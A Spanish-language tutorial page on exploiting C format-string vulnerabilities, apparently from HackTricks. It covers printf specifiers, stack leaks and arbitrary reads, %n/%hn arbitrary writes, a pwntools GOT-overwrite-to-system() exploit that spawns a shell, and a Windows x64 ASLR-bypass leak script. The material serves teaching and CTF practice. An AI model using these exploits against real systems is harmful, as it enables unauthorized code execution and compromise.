Cadenas de formato

{{#include ../../banners/hacktricks-training.md}}

Información básica

En C printf es una función que puede usarse para imprimir una cadena. El primer parámetro que esta función espera es el texto crudo con los formateadores. Los parámetros siguientes esperados son los valores para sustituir los formateadores del texto crudo.

Otras funciones vulnerables son sprintf() y fprintf().

La vulnerabilidad aparece cuando un texto controlado por el atacante se usa como el primer argumento de esta función. El atacante podrá elaborar una entrada especial abusando de las capacidades de formato de printf para leer y escribir cualquier dato en cualquier dirección (legible/escribible). De este modo será posible ejecutar código arbitrario.

Especificadores de formato:

%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%p —> Pointer
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3

Ejemplos:

  • Ejemplo vulnerable:
char buffer[30];
gets(buffer);  // Dangerous: takes user input without restrictions.
printf(buffer);  // If buffer contains "%x", it reads from the stack.
  • Uso normal:
int value = 1205;
printf("%x %x %x", value, value, value);  // Outputs: 4b5 4b5 4b5
  • Con argumentos faltantes:
printf("%x %x %x", value);  // Unexpected output: reads random values from the stack.
  • fprintf vulnerable:
#include <stdio.h>

int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
}

Accediendo a punteros

El formato %<n>$x, donde n es un número, permite indicar a printf que seleccione el parámetro n (de la pila). Entonces, si quieres leer el cuarto parámetro de la pila usando printf podrías hacer:

printf("%x %x %x %x")

y leerías desde el primer hasta el cuarto parámetro.

O podrías hacer:

printf("%4$x")

y leer directamente el cuarto.

Fíjate que el atacante controla el printf parámetro, lo que básicamente significa que su input va a estar en el stack cuando se llame a printf, lo que implica que podría escribir direcciones de memoria específicas en el stack.

Caution

Un atacante que controle este input, podrá añadir direcciones arbitrarias en el stack y hacer que printf acceda a ellas. En la siguiente sección se explicará cómo usar este comportamiento.

Arbitrary Read

Es posible usar el formateador %n$s para hacer que printf obtenga la dirección situada en la posición n, seguirla e imprimirla como si fuera una cadena (imprime hasta encontrar un 0x00). Así que si la dirección base del binario es 0x8048000, y sabemos que la entrada del usuario comienza en la cuarta posición en el stack, es posible imprimir el inicio del binario con:

from pwn import *

p = process('./bin')

payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param

p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'

Caution

Ten en cuenta que no puedes poner la address 0x8048000 al principio del input porque la string será cat en 0x00 al final de esa address.

Encontrar offset

Para encontrar el offset de tu input puedes enviar 4 u 8 bytes (0x41414141) seguidos de %1$x e incrementar el valor hasta recuperar las A's.

Brute Force printf offset ```python # Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak

from pwn import *

Iterate over a range of integers

for i in range(10):

Construct a payload that includes the current integer as offset

payload = f"AAAA%{i}$x".encode()

Start a new process of the "chall" binary

p = process("./chall")

Send the payload to the process

p.sendline(payload)

Read and store the output of the process

output = p.clean()

Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output

if b"41414141" in output:

If the string is found, log the success message and break out of the loop

log.success(f"User input is at offset : {i}") break

Close the process

p.close()

</details>

### Qué tan útil

Arbitrary reads pueden ser útiles para:

- **Dump** el **binary** desde la memoria
- **Acceder** a partes específicas de la memoria donde se almacena **información** sensible (como canaries, claves de cifrado o contraseñas personalizadas como en este [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))

## **Arbitrary Write**

El formateador `%<num>$n` escribe el número de bytes escritos en la dirección indicada por el parámetro <num> en el stack. Si un atacante puede escribir tantos caracteres como quiera con printf, podrá hacer que `%<num>$n` escriba un número arbitrario en una dirección arbitraria.

Afortunadamente, para escribir el número 9999 no es necesario añadir 9999 "A"s en la entrada; por ello es posible usar el formateador `%.<num-write>%<num>$n` para escribir el número `<num-write>` en la dirección apuntada por la posición `num`.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500

Sin embargo, ten en cuenta que normalmente, para escribir una dirección como 0x08049724 (que es un número ENORME para escribir de una vez), se usa $hn en vez de $n. Esto permite escribir sólo 2 Bytes. Por lo tanto, esta operación se realiza dos veces: una para los 2B más altos de la address y otra para los más bajos.

Por tanto, esta vulnerabilidad permite escribir cualquier cosa en cualquier dirección (arbitrary write).

En este ejemplo, el objetivo va a ser overwrite la address de una function en la tabla GOT que será llamada más adelante. Aunque esto podría aprovechar otras arbitrary write to exec techniques:

{{#ref}} ../arbitrary-write-2-exec/ {{#endref}}

Vamos a overwrite una function que recibe sus arguments del user y la point hacia la system function.
Como se mencionó, para escribir la address normalmente se necesitan 2 pasos: primero escribes 2Bytes de la address y luego los otros 2. Para ello se usa $hn.

  • A HOB se le llama a los 2 higher bytes de la address
  • A LOB se le llama a los 2 lower bytes de la address

Luego, debido a cómo funcionan las format string necesitas escribir primero el más pequeño de [HOB, LOB] y luego el otro.

Si HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]

Si HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]

HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB

python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'

Plantilla de Pwntools

Puedes encontrar una plantilla para preparar un exploit para este tipo de vulnerabilidad en:

{{#ref}} format-strings-template.md {{#endref}}

O este ejemplo básico de here:

from pwn import *

elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000       # ASLR disabled

p = process()

payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)

p.clean()

p.sendline('/bin/sh')

p.interactive()

Format Strings to BOF

Es posible abusar de las acciones de escritura de una format string vulnerability para escribir en direcciones de la pila y explotar una vulnerabilidad de tipo buffer overflow.

Windows x64: Format-string leak to bypass ASLR (no varargs)

En Windows x64 los primeros cuatro parámetros enteros/puntero se pasan en registros: RCX, RDX, R8, R9. En muchos call-sites vulnerables la cadena controlada por el atacante se usa como argumento de formato pero no se proporcionan argumentos variádicos, por ejemplo:

// keyData is fully controlled by the client
// _snprintf(dst, len, fmt, ...)
_snprintf(keyStringBuffer, 0xff2, (char*)keyData);

Porque no se pasan varargs, cualquier conversión como "%p", "%x", "%s" hará que el CRT lea el siguiente argumento variádico del registro correspondiente. Con la Microsoft x64 calling convention la primera lectura para "%p" proviene de R9. Cualquier valor transitorio que esté en R9 en el sitio de la llamada será impreso. En la práctica esto a menudo produce un leak de un puntero estable dentro del módulo (p. ej., un puntero a un objeto local/global previamente colocado en R9 por el código circundante o un callee-saved value), que puede usarse para recuperar la module base y derrotar ASLR.

Practical workflow:

  • Inyecta un formato inofensivo como "%p " al inicio de la cadena controlada por el atacante para que la primera conversión se ejecute antes de cualquier filtrado.
  • Captura el leaked pointer, identifica el offset estático de ese objeto dentro del módulo (by reversing once with symbols or a local copy), y recupera el image base como leak - known_offset.
  • Reutiliza esa base para calcular direcciones absolutas de ROP gadgets y IAT entries de forma remota.

Example (abbreviated python):

from pwn import remote

# Send an input that the vulnerable code will pass as the "format"
fmt = b"%p " + b"-AAAAA-BBB-CCCC-0252-"  # leading %p leaks R9
io = remote(HOST, 4141)
# ... drive protocol to reach the vulnerable snprintf ...
leaked = int(io.recvline().split()[2], 16)   # e.g. 0x7ff6693d0660
base   = leaked - 0x20660                     # module base = leak - offset
print(hex(leaked), hex(base))

Notas:

  • El offset exacto a restar se encuentra una vez durante el reversing local y luego se reutiliza (mismo binary/version).
  • Si "%p" no imprime un pointer válido en el primer intento, prueba otros specifiers ("%llx", "%s") o conversiones múltiples ("%p %p %p") para samplear otros argument registers/stack.
  • Este patrón es específico de la Windows x64 calling convention y de las implementaciones de printf-family que fetch nonexistent varargs from registers cuando el format string los solicita.

Esta técnica es extremadamente útil para bootstrap ROP en servicios Windows compilados con ASLR y sin primitivas obvias de memory disclosure.

Otros Examples & References

Referencias

{{#include ../../banners/hacktricks-training.md}}